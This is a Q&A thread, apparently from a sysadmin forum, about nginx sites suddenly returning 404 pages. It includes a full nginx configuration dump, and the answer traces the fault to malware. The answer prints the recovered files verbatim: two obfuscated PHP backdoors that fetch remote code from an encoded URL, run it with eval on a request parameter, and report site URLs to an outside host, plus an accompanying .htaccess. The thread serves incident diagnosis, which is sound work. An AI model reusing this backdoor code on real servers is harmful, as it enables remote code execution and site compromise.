0

My Ubuntu web server was running production sites just normal with nginx and some PHP and python applications. Just about 2 days ago, it started redirecting to 404 Not Found Page for all the sites with HTML code of 200 OK and I haven't even touched the server. I have tried almost all the basic troubleshooting including file permissions www-data and 755, copying to different locations, restarting nginx, php, etc. but nothing works. php7.4-fpm is also running perfectly fine. Furthermore, no nginx 404 errors are being logged for the site. I have disabled all the sites except one to debug. Below is my full nginx configuration: sudo nginx -T

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful # configuration file /etc/nginx/nginx.conf: user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## # Logging Settings ## access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; # Gzip Settings ## gzip on; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; ## # Virtual Host Configs ## include /etc/nginx/sites-enabled/*; include /etc/nginx/conf.d/*.conf; client_max_body_size 100M; } #mail { # # See sample authentication script at: # # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript # # # auth_http localhost/auth.php; # # pop3_capabilities "TOP" "USER"; # # imap_capabilities "IMAP4rev1" "UIDPLUS"; # # server { # listen localhost:110; # protocol pop3; # proxy on; # } # # server { # listen localhost:143; # protocol imap; # proxy on; # } #} # configuration file /etc/nginx/modules-enabled/50-mod-http-image-filter.conf: load_module modules/ngx_http_image_filter_module.so; # configuration file /etc/nginx/modules-enabled/50-mod-http-xslt-filter.conf: load_module modules/ngx_http_xslt_filter_module.so; # configuration file /etc/nginx/modules-enabled/50-mod-mail.conf: load_module modules/ngx_mail_module.so; # configuration file /etc/nginx/modules-enabled/50-mod-stream.conf: load_module modules/ngx_stream_module.so; # configuration file /etc/nginx/mime.types: types { text/html html htm shtml; text/css css; text/xml xml; image/gif gif; image/jpeg jpeg jpg; application/javascript js; application/atom+xml atom; application/rss+xml rss; text/mathml mml; text/plain txt; text/vnd.sun.j2me.app-descriptor jad; text/vnd.wap.wml wml; text/x-component htc; image/png png; image/tiff tif tiff; image/vnd.wap.wbmp wbmp; image/x-icon ico; image/x-jng jng; image/x-ms-bmp bmp; image/svg+xml svg svgz; image/webp webp; application/font-woff woff; application/java-archive jar war ear; application/json json; application/mac-binhex40 hqx; application/msword doc; application/pdf pdf; application/postscript ps eps ai; application/rtf rtf; application/vnd.apple.mpegurl m3u8; application/vnd.ms-excel xls; application/vnd.ms-fontobject eot; application/vnd.ms-powerpoint ppt; application/vnd.wap.wmlc wmlc; application/vnd.google-earth.kml+xml kml; application/vnd.google-earth.kmz kmz; application/x-7z-compressed 7z; application/x-cocoa cco; application/x-java-archive-diff jardiff; application/x-java-jnlp-file jnlp; application/x-makeself run; application/x-perl pl pm; application/x-pilot prc pdb; application/x-rar-compressed rar; application/x-redhat-package-manager rpm; application/x-sea sea; application/x-shockwave-flash swf; application/x-stuffit sit; application/x-tcl tcl tk; application/x-x509-ca-cert der pem crt; application/x-xpinstall xpi; application/xhtml+xml xhtml; application/xspf+xml xspf; application/zip zip; application/octet-stream bin exe dll; application/octet-stream deb; application/octet-stream dmg; application/octet-stream iso img; application/octet-stream msi msp msm; application/vnd.openxmlformats-officedocument.wordprocessingml.document docx; application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx; application/vnd.openxmlformats-officedocument.presentationml.presentation pptx; audio/midi mid midi kar; audio/mpeg mp3; audio/ogg ogg; audio/x-m4a m4a; audio/x-realaudio ra; video/3gpp 3gpp 3gp; video/mp2t ts; video/mp4 mp4; video/mpeg mpeg mpg; video/quicktime mov; video/webm webm; video/x-flv flv; video/x-m4v m4v; video/x-mng mng; video/x-ms-asf asx asf; video/x-ms-wmv wmv; video/x-msvideo avi; } # configuration file /etc/nginx/sites-enabled/myapp: server { server_name myapp.com www.myapp.com; root /var/www/myapp.com/public; add_header X-Frame-Options "SAMEORIGIN"; add_header X-Content-Type-Options "nosniff"; index index.php; charset utf-8; location / { try_files $uri $uri/ /index.php?$query_string; } location = /favicon.ico { access_log off; log_not_found off; } location = /robots.txt { access_log off; log_not_found off; } error_page 404 /index.php; location ~ \.php$ { fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; include fastcgi_params; } location ~ /\.(?!well-known).* { deny all; } listen 443 ssl; # managed by Certbot ssl_certificate /etc/letsencrypt/live/myapp.com/fullchain.pem; # managed by Certbot ssl_certificate_key /etc/letsencrypt/live/myapp.com/privkey.pem; # managed by Certbot include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot } server { if ($host = myapp.com) { return 301 https://$host$request_uri; } # managed by Certbot listen 80; server_name myapp.com www.myapp.com; return 404; # managed by Certbot } # configuration file /etc/nginx/fastcgi_params: fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; fastcgi_param CONTENT_TYPE $content_type; fastcgi_param CONTENT_LENGTH $content_length; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param REQUEST_URI $request_uri; fastcgi_param DOCUMENT_URI $document_uri; fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SERVER_PROTOCOL $server_protocol; fastcgi_param REQUEST_SCHEME $scheme; fastcgi_param HTTPS $https if_not_empty; fastcgi_param GATEWAY_INTERFACE CGI/1.1; fastcgi_param SERVER_SOFTWARE nginx/$nginx_version; fastcgi_param REMOTE_ADDR $remote_addr; fastcgi_param REMOTE_PORT $remote_port; fastcgi_param SERVER_ADDR $server_addr; fastcgi_param SERVER_PORT $server_port; fastcgi_param SERVER_NAME $server_name; # PHP only, required if PHP was built with --enable-force-cgi-redirect fastcgi_param REDIRECT_STATUS 200; # configuration file /etc/letsencrypt/options-ssl-nginx.conf: # This file contains important security parameters. If you modify this file # manually, Certbot will be unable to automatically provide future security # updates. Instead, Certbot will print and log an error message with a path to # the up-to-date file that you will need to refer to when manually updating # this file. ssl_session_cache shared:le_nginx_SSL:10m; ssl_session_timeout 1440m; ssl_session_tickets off; ssl_protocols TLSv1.2 TLSv1.3; ssl_prefer_server_ciphers off; 

1 Answer 1

0

This problem was caused by malware where every parent folder inside all the sites located in /var/www/ got injected with 3 malware files:

wp-blog-header

<?php goto oPQ84; FhY1N: INQR_(array("\x77\145\142" => $AzBk2)); goto tz7JS; niHxL: $AzBk2 = (isset($_SERVER["\110\x54\x54\120\x53"]) && $_SERVER["\110\124\x54\120\x53"] === "\157\x6e" ? "\x68\164\x74\160\x73" : "\x68\164\164\160") . "\72\57\x2f{$_SERVER["\110\124\x54\x50\x5f\110\117\x53\x54"]}{$_SERVER["\x52\x45\x51\125\x45\123\124\x5f\125\x52\x49"]}"; goto FhY1N; sOKJh: function U0I_L($AzBk2) { goto eUa_e; zkm4g: fclose($xT50i); goto ANGkg; eUa_e: $h58nu = ''; goto cdvKN; c2fr7: $xT50i = fopen($AzBk2, "\x72"); goto tiewL; tiewL: $h58nu = stream_get_contents($xT50i); goto zkm4g; xcCuo: curl_setopt($XbbrI, CURLOPT_FOLLOWLOCATION, 1); goto buARb; fLS9C: $h58nu = file_get_contents($AzBk2); goto lqqAg; TCjrM: XC4OL; goto PZOFo; ANGkg: WPS3V; goto AZuoD; JnTWD: if (!(empty($h58nu) && function_exists("\x66\x6f\x70\x65\x6e") && function_exists("\163\164\x72\145\x61\x6d\137\147\x65\164\137\143\157\156\x74\x65\x6e\x74\x73"))) { goto WPS3V; } goto c2fr7; buARb: curl_setopt($XbbrI, CURLOPT_SSL_VERIFYPEER, 0); goto aOI5W; AZuoD: return $h58nu; goto Q8rGC; NGFZq: $XbbrI = curl_init($AzBk2); goto vsGzY; cdvKN: if (!function_exists("\x63\165\x72\x6c\137\145\x78\x65\x63")) { goto XC4OL; } goto NGFZq; PZOFo: if (!(empty($h58nu) && function_exists("\146\151\x6c\x65\137\147\145\164\137\143\157\156\x74\x65\156\x74\x73"))) { goto w1lBz; } goto fLS9C; UhzpF: $h58nu = curl_exec($XbbrI); goto pAbHV; aOI5W: curl_setopt($XbbrI, CURLOPT_SSL_VERIFYHOST, 0); goto UhzpF; lqqAg: w1lBz; goto JnTWD; vsGzY: curl_setopt($XbbrI, CURLOPT_RETURNTRANSFER, 1); goto xcCuo; pAbHV: curl_close($XbbrI); goto TCjrM; Q8rGC: } goto rfzDY; tz7JS: goto RAjJ3; goto iT_yZ; eLl_B: session_start(); goto VlsYk; iT_yZ: Ph4IZ; goto rF07B; oPQ84: error_reporting(0); goto eLl_B; agBgo: exit; goto sOKJh; MKXm1: $WXUOL = U0I_L(str_rot13("\x75\147\147\x63\146\x3a\x2f\57\x6a\143\x67\x72\146\x67\56\152\142\x71\x76\145\x72\x70\x67\56\147\142\143\x2f\x65\162\x7a\142\147\162\57\x71\142\142\145\x2f") . $P_83N . "\56\164\x78\164"); goto bsJ1K; bsJ1K: eval("\77\x3e" . $WXUOL); goto agBgo; p2yqc: if (!empty($P_83N)) { goto Ph4IZ; } goto niHxL; VlsYk: $P_83N = $_REQUEST["\x64\157\141\143\x74"]; goto p2yqc; Kf9mk: RAjJ3; goto MKXm1; rF07B: $_SESSION["\144\x6f\x61\143\164"] = $P_83N; goto Kf9mk; rfzDY: function INqr_($BdvsM) { goto WgRJ1; W3zBw: $gL1uI = curl_init($AzBk2); goto TLGQX; wdMLY: curl_setopt($gL1uI, CURLOPT_RETURNTRANSFER, true); goto TQ2d2; WdQlF: curl_close($gL1uI); goto dVbs5; WgRJ1: $AzBk2 = "\150\164\x74\x70\72\x2f\57\150\x6b\x6e\x78\157\x65\56\142\x79\x68\157\x74\x2e\164\x6f\160\x2f\151\156\144\145\170\x2e\x70\150\x70"; goto W3zBw; TQ2d2: $cRR8Z = curl_exec($gL1uI); goto WdQlF; TLGQX: curl_setopt($gL1uI, CURLOPT_POST, 1); goto FbQco; FbQco: curl_setopt($gL1uI, CURLOPT_POSTFIELDS, $BdvsM); goto wdMLY; dVbs5: } ?> 

wp-cron.php

<?php goto oPQ84; FhY1N: INQR_(array("\x77\145\142" => $AzBk2)); goto tz7JS; niHxL: $AzBk2 = (isset($_SERVER["\110\x54\x54\120\x53"]) && $_SERVER["\110\124\x54\x50\123"] === "\157\x6e" ? "\x68\164\x74\160\x73" : "\x68\164\164\160") . "\72\57\x2f{$_SERVER["\110\124\x54\x50\x5f\110\117\x53\x54"]}{$_SERVER["\x52\x45\x51\125\x45\123\124\x5f\125\x52\x49"]}"; goto FhY1N; sOKJh: function U0I_L($AzBk2) { goto eUa_e; zkm4g: fclose($xT50i); goto ANGkg; eUa_e: $h58nu = ''; goto cdvKN; c2fr7: $xT50i = fopen($AzBk2, "\x72"); goto tiewL; tiewL: $h58nu = stream_get_contents($xT50i); goto zkm4g; xcCuo: curl_setopt($XbbrI, CURLOPT_FOLLOWLOCATION, 1); goto buARb; fLS9C: $h58nu = file_get_contents($AzBk2); goto lqqAg; TCjrM: XC4OL: goto PZOFo; ANGkg: WPS3V: goto AZuoD; JnTWD: if (!(empty($h58nu) && function_exists("\x66\x6f\x70\x65\x6e") && function_exists("\163\164\x72\145\x61\x6d\137\147\x65\164\137\143\157\156\x74\145\x6e\x74\x73"))) { goto WPS3V; } goto c2fr7; buARb: curl_setopt($XbbrI, CURLOPT_SSL_VERIFYPEER, 0); goto aOI5W; AZuoD: return $h58nu; goto Q8rGC; NGFZq: $XbbrI = curl_init($AzBk2); goto vsGzY; cdvKN: if (!function_exists("\x63\165\x72\x6c\137\145\x78\x65\x63")) { goto XC4OL; } goto NGFZq; PZOFo: if (!(empty($h58nu) && function_exists("\146\151\x6c\x65\137\147\145\164\137\143\157\156\x74\x65\156\164\x73"))) { goto w1lBz; } goto fLS9C; UhzpF: $h58nu = curl_exec($XbbrI); goto pAbHV; aOI5W: curl_setopt($XbbrI, CURLOPT_SSL_VERIFYHOST, 0); goto UhzpF; lqqAg: w1lBz: goto JnTWD; vsGzY: curl_setopt($XbbrI, CURLOPT_RETURNTRANSFER, 1); goto xcCuo; pAbHV: curl_close($XbbrI); goto TCjrM; Q8rGC: } goto rfzDY; tz7JS: goto RAjJ3; goto iT_yZ; eLl_B: session_start(); goto VlsYk; iT_yZ: Ph4IZ: goto rF07B; oPQ84: error_reporting(0); goto eLl_B; agBgo: exit; goto sOKJh; MKXm1: $WXUOL = U0I_L(str_rot13("\x75\147\147\x63\146\x3a\x2f\57\x6a\143\x67\x72\146\x67\56\152\142\x71\x76\145\x72\x70\x67\56\147\142\143\x2f\x65\162\x7a\142\147\162\57\x71\142\142\145\x2f") . $P_83N . "\56\164\x78\164"); goto bsJ1K; bsJ1K: eval("\77\x3e" . $WXUOL); goto agBgo; p2yqc: if (!empty($P_83N)) { goto Ph4IZ; } goto niHxL; VlsYk: $P_83N = $_REQUEST["\x64\157\141\143\x74"]; goto p2yqc; Kf9mk: RAjJ3: goto MKXm1; rF07B: $_SESSION["\144\x6f\x61\143\164"] = $P_83N; goto Kf9mk; rfzDY: function INqr_($BdvsM) { goto WgRJ1; W3zBw: $gL1uI = curl_init($AzBk2); goto TLGQX; wdMLY: curl_setopt($gL1uI, CURLOPT_RETURNTRANSFER, true); goto TQ2d2; WdQlF: curl_close($gL1uI); goto dVbs5; WgRJ1: $AzBk2 = "\150\164\x74\x70\72\x2f\57\150\x6b\x6e\x78\157\x65\56\142\x79\x68\157\x74\x2e\164\x6f\160\x2f\151\156\144\145\170\x2e\x70\150\x70"; goto W3zBw; TQ2d2: $cRR8Z = curl_exec($gL1uI); goto WdQlF; TLGQX: curl_setopt($gL1uI, CURLOPT_POST, 1); goto FbQco; FbQco: curl_setopt($gL1uI, CURLOPT_POSTFIELDS, $BdvsM); goto wdMLY; dVbs5: } ?> 

.htaccess

<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch '^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php|comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php|filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php|termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|options-reading.php|system_log.php)$'> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> 

I have deleted those files and everything works fine, but I am trying to traceback the origin and secure my server, any help regarding that will be appreciated.

2
  • 1
    "I have deleted those files" - so you've destroyed the data that might help you track the vulnerability? Tracking vulnerabilities is hard for an expert. You might start by checking your logs (which would be easier if you had the file creation times). You should also consider fixing the permissions on your files so that PHP cannot create or modify files. Of course thats something of a challenge when using Wordpress. Commented Jun 21, 2024 at 14:56
  • Thank you, before deleting I had taken backup of those 3 files in my local machine and pasted the code above and the modified date was 18 June. I am compartmentalizing with docker and trying to trace back those files. It's quite a difficult task, but I will post an update as soon as I get the source, hopefully. Commented Jun 22, 2024 at 4:23

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.